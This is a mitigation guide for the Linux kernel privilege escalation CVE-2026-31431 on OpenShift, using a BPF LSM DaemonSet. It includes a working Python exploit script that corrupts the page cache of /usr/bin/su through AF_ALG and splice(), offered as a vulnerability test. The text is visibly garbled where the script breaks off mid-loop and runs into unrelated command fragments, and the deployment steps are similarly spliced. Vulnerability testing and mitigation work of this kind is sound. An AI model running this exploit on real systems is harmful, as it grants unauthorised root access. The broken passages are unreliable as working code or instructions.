## https://sploitus.com/exploit?id=98D5C521-5651-5FA1-BF38-A453EB2D3078
# CVE-2026-31431: Zero-Reboot Remediation for OpenShift 4 via BPF LSM
> **Tested on:** OCP 4.22 | RHEL CoreOS 9.8 | Kernel 5.14.0-687.5.1.el9\_8 | CRI-O 1.35
>
> **Updated:** 2026-05-01
## Summary
CVE-2026-31431 ("Copy Fail") is a Linux kernel privilege escalation vulnerability
in the `algif_aead` cryptographic interface. An attacker uses AF\_ALG sockets with
the `authencesn` algorithm and `splice()` to corrupt arbitrary files in the kernel
page cache โ including setuid binaries like `/usr/bin/su`.
This document provides a **zero-reboot remediation** using a BPF LSM DaemonSet
that blocks only the vulnerable `authencesn` algorithm bind. It was tested
end-to-end on three separate OCP 4.22 clusters.
## Quick Start
```bash
# 1. Verify BPF LSM is enabled (RHEL CoreOS 9.8 has it by default)
oc debug node/ -- chroot /host cat /sys/kernel/security/lsm
# Must contain "bpf"
# 2. Deploy the blocker (image: quay.io/mrunalp/block-copyfail:latest)
oc apply -f daemonset.yaml
# 3. Grant privileged SCC to the service account
oc adm policy add-scc-to-user privileged -z default -n block-copyfail
# 4. Verify
oc get pods -n block-copyfail # All nodes should show Running
oc logs -n block-copyfail -l app=block-copyfail
# Expected: "block-copyfail: blocker active โ authencesn bind blocked"
```
No reboots. No node drains. No pod restarts. Protection is immediate and
covers all processes on all nodes (100% coverage).
## Table of Contents
1. [How the Exploit Works](#how-the-exploit-works)
2. [Confirming Vulnerability on Your Cluster](#confirming-vulnerability-on-your-cluster)
3. [BPF LSM DaemonSet Deployment](#bpf-lsm-daemonset-deployment)
4. [Post-Deployment Verification](#post-deployment-verification)
5. [Building the Image from Source](#building-the-image-from-source)
6. [Removal](#removal)
---
## How the Exploit Works
The exploit chains three kernel features:
1. **AF\_ALG socket** โ creates a userspace handle to kernel crypto via
`socket(AF_ALG, SOCK_SEQPACKET, 0)`
2. **AEAD bind** โ binds to `authencesn(hmac(sha256),cbc(aes))`, a specific
authenticated encryption algorithm
3. **splice() + sendmsg()** โ the kernel incorrectly performs an "in-place"
operation where source and destination page mappings differ, corrupting the
page cache of a read-only file
The attacker corrupts `/usr/bin/su` in the page cache (without write access to
the file), then executes it to gain root.
---
## Confirming Vulnerability on Your Cluster
### Step 1: Save the test script
Save the following as `cve_test.py`. It reproduces the original exploit's page
cache corruption against `/usr/bin/su` using the same payload. The corruption
only affects the container's overlayfs copy, not the host.
```python
#!/usr/bin/env python3
"""CVE-2026-31431 vulnerability test targeting /usr/bin/su."""
import os, sys, socket, hashlib, zlib, ctypes, ctypes.util, subprocess
libc = ctypes.CDLL(ctypes.util.find_library("c"))
libc.splice.argtypes = [
ctypes.c_int, ctypes.POINTER(ctypes.c_longlong),
ctypes.c_int, ctypes.POINTER(ctypes.c_longlong),
ctypes.c_size_t, ctypes.c_uint,
]
libc.splice.restype = ctypes.c_longlong
def _splice(fd_in, fd_out, length, offset_src=None):
if offset_src is not None:
off = ctypes.c_longlong(offset_src)
return libc.splice(fd_in, ctypes.byref(off), fd_out, None, length, 0)
return libc.splice(fd_in, None, fd_out, None, length, 0)
def d(x):
return bytes.fromhex(x)
def try_corrupt(fd, offset, payload):
SOL_ALG = 279
try:
a = socket.socket(38, 5, 0)
except OSError as e:
print(f" AF_ALG socket creation failed: {e}")
return False
try:
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
except OSError as e:
print(f" AF_ALG bind failed: {e}")
a.close()
return False
try:
a.setsockopt(SOL_ALG, 1, d('0800010000000010' + '0' * 64))
a.setsockopt(SOL_ALG, 5, None, 4)
u, _ = a.accept()
o = offset + 4
z = d('00')
u.sendmsg(
[b"A" * 4 + payload],
[(SOL_ALG, 3, z * 4),
(SOL_ALG, 2, b'\x10' + z * 19),
(SOL_ALG, 4, b'\x08' + z * 3)],
32768,
)
r, w = os.pipe()
_splice(fd, w, o, offset_src=0)
_splice(r, u.fileno(), o)
try:
u.recv(8 + offset)
except Exception:
pass
os.close(r)
os.close(w)
u.close()
except OSError as e:
print(f" Exploit step failed: {e}")
a.close()
return False
a.close()
return True
TARGET = "/usr/bin/su"
print("=== CVE-2026-31431 Vulnerability Test ===")
print(f"Target: {TARGET}")
print()
with open(TARGET, "rb") as f:
orig_hash = hashlib.sha256(f.read()).hexdigest()
print(f"Original SHA256: {orig_hash}")
payload = zlib.decompress(d(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
"209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
"c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))
fd = os.open(TARGET, os.O_RDONLY)
i = 0
ok = True
print(f"Attempting splice + AF_ALG page-cache corruption "
f"({len(payload)} bytes in {len(payload)//4} chunks)...")
while i -- chroot /host cat /sys/kernel/security/lsm
```
Expected output includes `bpf`:
```
lockdown,capability,landlock,yama,selinux,bpf
```
If `bpf` is **not** present, a one-time MachineConfig is needed (this is the
only scenario requiring a reboot):
```yaml
apiVersion: machineconfiguration.openshift.io/v1
kind: MachineConfig
metadata:
labels:
machineconfiguration.openshift.io/role: worker
name: 99-enable-bpf-lsm
spec:
kernelArguments:
- lsm=lockdown,capability,selinux,bpf
```
### Step 1: Deploy the DaemonSet
```bash
cat /block-copyfail:latest .
podman push quay.io//block-copyfail:latest
```
The Dockerfile uses a multi-stage build: Fedora with clang/bpftool/libbpf-devel
for compilation, UBI 9 minimal for the runtime image (~122 MB).
---
## Removal
Deleting the DaemonSet immediately removes the mitigation on all nodes:
```bash
oc delete -f daemonset.yaml
# or
oc delete namespace block-copyfail
```
The BPF program detaches automatically when the loader process exits. No reboot
or pod restart is needed.